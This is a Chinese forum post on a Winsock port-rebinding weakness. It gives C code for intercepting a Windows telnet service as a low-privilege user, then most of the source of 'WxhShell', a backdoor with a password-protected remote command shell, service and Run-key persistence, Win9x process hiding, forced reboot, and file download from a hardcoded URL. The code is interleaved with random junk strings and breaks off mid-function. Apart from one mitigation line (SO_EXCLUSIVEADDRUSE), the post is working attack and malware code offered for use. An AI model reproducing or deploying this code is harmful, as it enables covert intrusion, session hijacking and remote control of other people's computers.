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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 45kMIh~~X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7w>"M  
%(6f  
  saddr.sin_family = AF_INET; mKe{y.  
Ic#+*W\ZW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /rv XCA)j  
t$l[ 4 R-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gvoK  
*9PS2*n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DOhXb  
!PUhdW  
  这意味着什么?意味着可以进行如下的攻击: )z/j5tnvm  
+S;8=lzuV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s3J T1TX  
h@{@OAu?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +QldZba  
=;Wkg4\5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }-r"W7]k  
D|e6$O5o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6b<t|zb  
AQQj]7Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JSGUl4N  
De>pIN;B>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RK rBHqh@  
cLR8U1k'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ae ue:u>  
M\`6H8aLn  
  #include 6bHj<6>MX  
  #include .*Hv^_  
  #include >W-e0kkH  
  #include    D|=QsWZI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6\::Ku4_2  
  int main() dcHkb,HsO  
  { >$R-:>~zN  
  WORD wVersionRequested; jDXmre?  
  DWORD ret; _ORW'(:Z  
  WSADATA wsaData; R`1$z8$  
  BOOL val; zR{TWk]  
  SOCKADDR_IN saddr; gvcT_'  
  SOCKADDR_IN scaddr; f^$\+H"W  
  int err; \s~ W;m  
  SOCKET s; 3J(STIxg  
  SOCKET sc; kY_UY~E  
  int caddsize; OVj,qL)  
  HANDLE mt; 9 z3Iwl  
  DWORD tid;   j<l>+., U  
  wVersionRequested = MAKEWORD( 2, 2 ); E>4 \9  
  err = WSAStartup( wVersionRequested, &wsaData ); )$th${pd#v  
  if ( err != 0 ) { Uj!L:u2b  
  printf("error!WSAStartup failed!\n"); 4 Qw;r  
  return -1; @&EP& $*  
  } <78> 6u/W%  
  saddr.sin_family = AF_INET; !2{MWj  
   58v5Z$%--  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u[dI81`  
q5HHMHB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OmoY] 8N}  
  saddr.sin_port = htons(23); Q'A->I<;_s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [,1j(s`N5  
  { K} ;uH,  
  printf("error!socket failed!\n"); ait/|a  
  return -1; /,:32H  
  } 0f-gQD  
  val = TRUE; E* lqCh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @l;f';+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O]~p)E  
  { x`o_&09;CG  
  printf("error!setsockopt failed!\n"); hOwVm;:  
  return -1; SnXYq 7`t  
  } F[?t"d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 'f>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D2?7=5DgS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WrG)&&d  
p1|@F^Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H>Fy 2w  
  { CV& SNA  
  ret=GetLastError(); 90ORx\Oeo  
  printf("error!bind failed!\n"); 4Yn*q~f  
  return -1; q-!m|<Z  
  } dvXu?F55  
  listen(s,2); #v~5f;[AAs  
  while(1) 9JUlu  
  { /\=g;o'  
  caddsize = sizeof(scaddr); 6'Lij&,f?{  
  //接受连接请求 7M$>'PfO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Fe/*U4xU  
  if(sc!=INVALID_SOCKET) FJ2^0s/"  
  { 2^:5aABQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zd5fr c$  
  if(mt==NULL) |H |ewVUY  
  { Zd~Z`B} &  
  printf("Thread Creat Failed!\n"); 9xWeVlfQ  
  break; n=yFw\w'  
  } `Y(/G"]  
  } ChBZGuO:  
  CloseHandle(mt); f|< *2Mk  
  } t=yM}#r$  
  closesocket(s); qQ|v~^  
  WSACleanup(); M&>Z[o  
  return 0; ~5JXY5 *o  
  }   i4uUvZ f  
  DWORD WINAPI ClientThread(LPVOID lpParam) IB?5y~+h  
  { 9pk<=F  
  SOCKET ss = (SOCKET)lpParam; Z&21gN  
  SOCKET sc; Uh9$e  
  unsigned char buf[4096]; Z-/ E$j  
  SOCKADDR_IN saddr; 43(+3$VM7  
  long num; N}^\$sVu_  
  DWORD val; G,$jU9 f  
  DWORD ret; 4K4?Q+?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2pB@qi-]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jmAWto}.  
  saddr.sin_family = AF_INET; ?5+=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J[<:-$E  
  saddr.sin_port = htons(23); \Mi y+<8$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 s>JdAw?  
  { XLzHm&;  
  printf("error!socket failed!\n"); ~A6QX8a  
  return -1; M~wJe@bc  
  }  o,X ?  
  val = 100; /r]IY.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fc&4e:Ve  
  { g8B@M*JA  
  ret = GetLastError(); &| ',o ?'F  
  return -1; ^TDHPBlG  
  } cl{;%4$9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }b~ZpUL!  
  { =m1B1St2  
  ret = GetLastError(); a|66[  
  return -1; 9?]4s-~  
  } :PjHsNp;^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *%Q!22?6F  
  { oU{m\r  
  printf("error!socket connect failed!\n"); /<M08ze  
  closesocket(sc); >0u4>=#  
  closesocket(ss); \5O4}sm$*  
  return -1; :}j{NM#  
  } J;G+6C$:  
  while(1) Rb\\6 BU0  
  { (uRAK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {HQ?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4GaF:/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p+A#t~K  
  num = recv(ss,buf,4096,0); [['un\~r~  
  if(num>0) s_VP(Fe@K  
  send(sc,buf,num,0); uZg Kex;c  
  else if(num==0) MT|}[|_  
  break; gwT"o  
  num = recv(sc,buf,4096,0); Q7f\ 5QjT  
  if(num>0) gP)g_K(e  
  send(ss,buf,num,0); q*-q5FE  
  else if(num==0) }}K4 4<]u  
  break; 347p2sK>  
  } #uFP eu:  
  closesocket(ss); rr2|xL?+u  
  closesocket(sc); 3C2L _ K3  
  return 0 ; RV7l=G9tq  
  } j@Z4(X L  
$\{@wL  
lS9rgq<n  
========================================================== P b2exS(  
p]IF=~b  
下边附上一个代码,,WXhSHELL NtSa# $A  
)CEfG  
==========================================================  lcyan  
vMDV%E S1t  
#include "stdafx.h" 91e&-acA  
3fM~R+p  
#include <stdio.h> $^d,>hJi  
#include <string.h> Xb3z<r   
#include <windows.h> tec CU[O  
#include <winsock2.h> (|"K sGl  
#include <winsvc.h> b`fPP{mG  
#include <urlmon.h> d\D.l^  
quVTqhg"  
#pragma comment (lib, "Ws2_32.lib") vt@.fT#e  
#pragma comment (lib, "urlmon.lib") : xB<Rq  
27G6C`}  
#define MAX_USER   100 // 最大客户端连接数 0Ocy$  
#define BUF_SOCK   200 // sock buffer LEWeybT  
#define KEY_BUFF   255 // 输入 buffer 8`kK)iCq  
Mb uD8B  
#define REBOOT     0   // 重启 -dZ7;n5&_  
#define SHUTDOWN   1   // 关机 0vt?yD  
`/8Dmg  
#define DEF_PORT   5000 // 监听端口 %fo+Y+t  
6Jrh'6 o@  
#define REG_LEN     16   // 注册表键长度 gI<TfcC  
#define SVC_LEN     80   // NT服务名长度 5fA<I _ D  
K1]H~'  
// 从dll定义API k*[["u^u]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =gw 'MA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E9YR *P4$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,QdUfM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {-09,Q4[&  
Bc`jkO.q  
// wxhshell配置信息 z*"zXL C  
struct WSCFG { 5iwJdm  
  int ws_port;         // 监听端口 L "P$LEk  
  char ws_passstr[REG_LEN]; // 口令 g%Sl+gWdJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no V*2uW2\}  
  char ws_regname[REG_LEN]; // 注册表键名 |Xlpgdiu  
  char ws_svcname[REG_LEN]; // 服务名 4(f[Z9 iZ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 db'Jl^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zchs/C 9{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2X!O '  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {'NdN+_C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B#N(PvtE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D ]:sR  
R6r'[- B2  
}; 'C)`j{CS  
cLEBcTx  
// default Wxhshell configuration 4 >at# Zc  
struct WSCFG wscfg={DEF_PORT, /ZUKt  
    "xuhuanlingzhe", 9,sj,A1  
    1, "k o?AUt  
    "Wxhshell", 4siNY4i"  
    "Wxhshell", gu7mGHn-  
            "WxhShell Service",  pQKR  
    "Wrsky Windows CmdShell Service", #HfvY}[o  
    "Please Input Your Password: ", z:{'IY  
  1, waz)jEk  
  "http://www.wrsky.com/wxhshell.exe", Zui2O-L?V  
  "Wxhshell.exe" I6,'o)l{_  
    }; l\I#^N  
`lX |yy"  
// 消息定义模块 *Fi`o_d9[`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iC10|0%{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7Ps I'1v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FctqE/>}I  
char *msg_ws_ext="\n\rExit."; J\^ZRu_K  
char *msg_ws_end="\n\rQuit."; <C`qJP-  
char *msg_ws_boot="\n\rReboot..."; ^1sX22k  
char *msg_ws_poff="\n\rShutdown..."; lTBPq?4{  
char *msg_ws_down="\n\rSave to "; r({!ejT{U  
PGF=q|j9K  
char *msg_ws_err="\n\rErr!"; * 7u~`  
char *msg_ws_ok="\n\rOK!"; _~ZNX+4  
/7/d u[P6  
char ExeFile[MAX_PATH]; w7 @fiH{  
int nUser = 0; 3(0k!o0 "  
HANDLE handles[MAX_USER]; ze@NqCF  
int OsIsNt; (A|Gb2X  
DK;p6_tT  
SERVICE_STATUS       serviceStatus; D~E1hr&Vd>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $6e&sDJ  
tpOMKh.`  
// 函数声明 h,o/(GNnW  
int Install(void); $O9Nprf  
int Uninstall(void); EnnT)qos  
int DownloadFile(char *sURL, SOCKET wsh); AIgJ,=9K  
int Boot(int flag); bi;?)7p&ZY  
void HideProc(void); T[]2]K[&B  
int GetOsVer(void); {/#^v?,  
int Wxhshell(SOCKET wsl); 9JYrP6I!_  
void TalkWithClient(void *cs); ~w_4 nE  
int CmdShell(SOCKET sock); 4wk-f7I(  
int StartFromService(void); &MKG#Y}  
int StartWxhshell(LPSTR lpCmdLine); 3z';Zwz &X  
5 0uYU[W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M0zJGIT~b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t{Ck"4Cg  
PeT _Ty  
// 数据结构和表定义 (C>FM8$J  
SERVICE_TABLE_ENTRY DispatchTable[] = 4=!SG4~o  
{ yr?*{;  
{wscfg.ws_svcname, NTServiceMain}, (N{Rda*8  
{NULL, NULL} `@1y|j:m  
}; lO3W:,3_a  
QWz5iM  
// 自我安装 a$H*C(wL  
int Install(void) D;VQoO  
{ &/R`\(hEA  
  char svExeFile[MAX_PATH]; {\3k(NdEX  
  HKEY key; /I&Hq7SW`  
  strcpy(svExeFile,ExeFile); Yt*2/jw^  
$8zsqd 4?  
// 如果是win9x系统,修改注册表设为自启动 K =T]@ix$  
if(!OsIsNt) { ^K*uP^B=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BB@I|)9O(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WJ":BK{NM  
  RegCloseKey(key); golr,+LSo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {@, } M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ww-%s9N<  
  RegCloseKey(key); #2l6'gWE0  
  return 0; Fb#.Gg9b>  
    } hiO:VA  
  } A`_(L|~  
} M0VC-\W7f  
else { xEdCGwgp#  
hp=TWt~  
// 如果是NT以上系统,安装为系统服务 =.NZ {G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B w?Kb@  
if (schSCManager!=0) x}o]R  
{ l}odW  
  SC_HANDLE schService = CreateService |:yQOq|  
  ( k.=67L  
  schSCManager, Hbwjs?Vq?]  
  wscfg.ws_svcname, q,6 y{RyS  
  wscfg.ws_svcdisp, -wv5c  
  SERVICE_ALL_ACCESS, 7.g)_W{7}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2ED^uc: 0S  
  SERVICE_AUTO_START, gSLwpIK%  
  SERVICE_ERROR_NORMAL, juOOD   
  svExeFile, 7LMad%  
  NULL, tKg\qbY&  
  NULL, b*$/(2"m  
  NULL, ~3-2Iu^F  
  NULL, %SORs(4  
  NULL v\7k  
  ); ZK,}3b{  
  if (schService!=0) M7z>ugk"  
  { CY2DxP%  
  CloseServiceHandle(schService); L$zI_ z  
  CloseServiceHandle(schSCManager); !#cZ!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8was/^9;  
  strcat(svExeFile,wscfg.ws_svcname); jCdKau&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HRS|VC$tz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SjgF&LD  
  RegCloseKey(key); \%\b* OO  
  return 0; 4 4%jz-m  
    } r"#h6lYK&  
  } 5<Mht6"H  
  CloseServiceHandle(schSCManager); _\yrR.HIa  
} h $)t hW  
} 2}`Q9?  
DF D5">g@  
return 1; jRIjFn|~{Y  
} . 2_t/2  
 /;LteBoY  
// 自我卸载 1o)Vzv  
int Uninstall(void) SR>Sq2cW0  
{ .gUceXWH3  
  HKEY key; mtDRF'>P:  
e  iS~*@  
if(!OsIsNt) { ?3 J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A6w/X`([O  
  RegDeleteValue(key,wscfg.ws_regname); ~:7AHK2  
  RegCloseKey(key); 'G z>X :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %-"?  
  RegDeleteValue(key,wscfg.ws_regname); AMqu}G  
  RegCloseKey(key); pKK&+umg  
  return 0; 3$f%{~3  
  } INwc@XB  
} 7O5`&Z'-  
} $4.mRS97g  
else { EN@LB2  
:H[E W3Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E:BEQ:(~L  
if (schSCManager!=0) TSu^.K  
{ 4f,D3e%T|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4/D ~H+k  
  if (schService!=0) v8g3]MVj3  
  { pJ7wd~wF*  
  if(DeleteService(schService)!=0) { -eAo3  
  CloseServiceHandle(schService); L^PZ\OC  
  CloseServiceHandle(schSCManager); q|m8G  
  return 0; 9R.IYnq  
  } (?-5p;  
  CloseServiceHandle(schService); [;B_ENV  
  } 9/C0DDb  
  CloseServiceHandle(schSCManager); j}YZl@dYV  
} @(.?e<  
} (zkh`8L  
U,/NygB~  
return 1; R`=IYnoOA  
} <x@\3{{U  
e2w$":6>  
// 从指定url下载文件 ixN>KwH  
int DownloadFile(char *sURL, SOCKET wsh) V M[9!:  
{ K8*QS_*  
  HRESULT hr; Z4'"*  
char seps[]= "/"; uE:#m.Q  
char *token; R =HN>(U  
char *file; S |T:rc(~  
char myURL[MAX_PATH]; [;dWFG"f  
char myFILE[MAX_PATH]; UNocm0!N'  
@%J?[PG  
strcpy(myURL,sURL); G\h8j*o  
  token=strtok(myURL,seps); QQ@, v@j5  
  while(token!=NULL) BXueOvO8  
  { A`u04Lm7  
    file=token; v}dt**l  
  token=strtok(NULL,seps); o*/\ oVOq  
  } l ,)l"6OV  
{B|U8j[  
GetCurrentDirectory(MAX_PATH,myFILE); S4<@ji  
strcat(myFILE, "\\"); | (P%<  
strcat(myFILE, file); Rf2/[  
  send(wsh,myFILE,strlen(myFILE),0); `h5HA-ud  
send(wsh,"...",3,0); `g% ]z@'+?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !$h%$se  
  if(hr==S_OK) 18w[T=7)  
return 0; "Ks%!  
else E=gD{1,?  
return 1; [$?S9)Xd  
Kbx(^f12  
} Q3%a=ba)h  
9<<$uf.B  
// 系统电源模块 fT._Os?i  
int Boot(int flag) ,IuO;UV#)  
{ YkPz ~;  
  HANDLE hToken; Y'/`?CK  
  TOKEN_PRIVILEGES tkp; .^#{rk  
$Z 10Zf=  
  if(OsIsNt) { `6j?2plZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3f's>+,#%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /@FB;`'  
    tkp.PrivilegeCount = 1; 5`oor86  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k}>l+_*+7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =YA%= d_  
if(flag==REBOOT) { SiojOH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Vn=(U4}!_  
  return 0; 2bX!-h  
} y=9a2 [3Dz  
else { EBzg<-?o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bXq,iX  
  return 0; 2 T{PIJg3  
} \, n'D  
  } (#c5Q&  
  else { _'n;rZ+  
if(flag==REBOOT) { !QVd'e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R ;5w*e}?5  
  return 0; hv*n";V   
} oZ6xHdPc4  
else { f;u;hQxs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nIph[Vs-Z  
  return 0; r_)-NOp  
} z('93vsO  
} nS?HH6H  
?RWd"JTGue  
return 1; uNXh"?  
} `k\]I |6  
LDV{#5J  
// win9x进程隐藏模块 \07Vh6cj  
void HideProc(void) }J`{g/  
{ 2l5@gDk5  
[%l+ C~m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EUuMSDp  
  if ( hKernel != NULL ) '4Z%{.;  
  { f+xGf6V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e@]cI/j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oE)c8rE  
    FreeLibrary(hKernel); oK5(,8 (4  
  } 8GlH)J+kq  
Rz=]KeZu  
return; D{BH~IM  
} }T,E$vsx  
D4#,9?us  
// 获取操作系统版本 R<UjhCvx.  
int GetOsVer(void) aE{b65'Dt  
{ "6KOql3  
  OSVERSIONINFO winfo; Cc Ni8Wg_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sef!hS06  
  GetVersionEx(&winfo); 't)j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fE7WLV2I>  
  return 1; 8-?n<h%8E  
  else dJ24J+9}]j  
  return 0; ixKQh};5/  
} 4zf#zJw  
H8\{ GGg  
// 客户端句柄模块 fI$, ?>  
int Wxhshell(SOCKET wsl) kI[EG<N1k  
{ bjT0Fi0-  
  SOCKET wsh; }_?7k0EZ@  
  struct sockaddr_in client; BMX x(W]  
  DWORD myID; &OzJ^G\o  
M$&>"%Oi  
  while(nUser<MAX_USER) :cynZab  
{ '!1lK  
  int nSize=sizeof(client); p$9N}}/c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~o # NOfYi  
  if(wsh==INVALID_SOCKET) return 1; n.1a1Tf  
P{>T?-Hj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _R-#I  
if(handles[nUser]==0) HKxrBQr78  
  closesocket(wsh); UVI=&y]c,p  
else n,HWVo>([  
  nUser++; ~{NDtB)  
  } ` jUn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uo%O\} #u9  
\pPq ]k  
  return 0; T2(+HI2  
} ]iNSa{G  
v#/,,)m  
// 关闭 socket uPo>?hpq+  
void CloseIt(SOCKET wsh) ,*lK4 ?v  
{ %xk]y&jv  
closesocket(wsh); M]_vb,=1  
nUser--; \Fj4Gy?MW  
ExitThread(0); [FCNW0NV  
} Bf* F ^  
SfR!q4b=  
// 客户端请求句柄 pEaH^(I*  
void TalkWithClient(void *cs) }oU&J81  
{ S7SPc   
92tb`'  
  SOCKET wsh=(SOCKET)cs; [R:O'AP}@}  
  char pwd[SVC_LEN]; ix/uV)]k`  
  char cmd[KEY_BUFF]; ftH 0aI  
char chr[1]; CNN?8/u!@  
int i,j; kU^@R<Fo  
:iWV:0)P  
  while (nUser < MAX_USER) { hOC,Eo  
vcSS+  
if(wscfg.ws_passstr) { TX+t   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #UI`G3w<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #M>E{w9  
  //ZeroMemory(pwd,KEY_BUFF); b QeYFY#^  
      i=0; 0yZw`|Zh[  
  while(i<SVC_LEN) { 34l=U?  
D@ lJ^+  
  // 设置超时 z"H%Y 8  
  fd_set FdRead; SMy&K[hJ[  
  struct timeval TimeOut; LpiLk| 2i  
  FD_ZERO(&FdRead); AP~!YwLW  
  FD_SET(wsh,&FdRead); pKJ[e@E^  
  TimeOut.tv_sec=8; SwL\=nq+~  
  TimeOut.tv_usec=0; 50Jr(OeU<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ujSzm=_P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  _HL3XT  
'qD9k J`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); He@= bLLa  
  pwd=chr[0]; ZEMo`O  
  if(chr[0]==0xd || chr[0]==0xa) { ?@,:\ ,G  
  pwd=0; z&:[.B   
  break; l00D|W_ 9  
  } lGz0K5P{  
  i++; XDWERv Ij  
    } D|BN_ai9  
/>oU}m"k  
  // 如果是非法用户,关闭 socket N1$P6ZF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "LWp/  
} ?=G H{ %E  
$k?L?R1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >*(>%E~H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M]{!Nx  
. =5Jpo  
while(1) { iUKj:q:  
YsDl2P  
  ZeroMemory(cmd,KEY_BUFF); {!S/8o"]  
/6fPC;l  
      // 自动支持客户端 telnet标准   M#p,Z F  
  j=0; 'GyPl  
  while(j<KEY_BUFF) { =1(BKk>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $5o<Mj  
  cmd[j]=chr[0]; /l`XJs  
  if(chr[0]==0xa || chr[0]==0xd) { 5C&f-* Bh  
  cmd[j]=0; |q>Mw-=  
  break; r6)1Y`K=9  
  } 5 6R,+sN  
  j++; EpfmH `  
    } S ] &->5"  
K|/a]I":  
  // 下载文件 D^~g q`/)  
  if(strstr(cmd,"http://")) {  {MtB!x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O o:jP6r  
  if(DownloadFile(cmd,wsh)) E.3}a>f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rt|Hma  
  else n\YxRs7 hF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `3KprpE8v  
  } L_r & 'B  
  else { CvJm7c  
ZL>V9UWN  
    switch(cmd[0]) { P(;c`   
  ]4yvTP3[Rm  
  // 帮助 O+$70   
  case '?': { MocH>^,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $^!w`>0C  
    break; ?X1#b2s  
  } iQF}x&a<  
  // 安装 ~}AP@t*  
  case 'i': { {;E/l(HNI  
    if(Install()) (?!0__NN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-D5iiF  
    else Uk9g^\H<D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GP$ Y4*y/  
    break; #77UKYj2L-  
    } U VKN#"_{  
  // 卸载 ^4[[+r  
  case 'r': { %np#Bv-L  
    if(Uninstall()) D2p6&HNT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2< h<}Y  
    else a:}"\>Aj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )'~FDw\6  
    break; Anv8)J!9u  
    } .B13)$C  
  // 显示 wxhshell 所在路径 G#: !wI  
  case 'p': { mW-W7-JhO7  
    char svExeFile[MAX_PATH]; clw91yrQn  
    strcpy(svExeFile,"\n\r"); 'qJ-eQ7e  
      strcat(svExeFile,ExeFile); 02[II_< 1  
        send(wsh,svExeFile,strlen(svExeFile),0); R!,)?j;  
    break; gxM8IQ  
    } "~<~b2Y"5  
  // 重启 jVIpbG4 4  
  case 'b': { gpWS_Dw9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A.O~'')X  
    if(Boot(REBOOT)) ^mpB\D)q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @UX@puK`/  
    else { ;vdgF  
    closesocket(wsh); sCQup^\  
    ExitThread(0); DZRxp,  
    } l`&6W?C  
    break; c5e\ckqm^  
    } [r8 d+  
  // 关机 MF}Lv1/[-J  
  case 'd': { ?8@*q6~8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C4tl4df9  
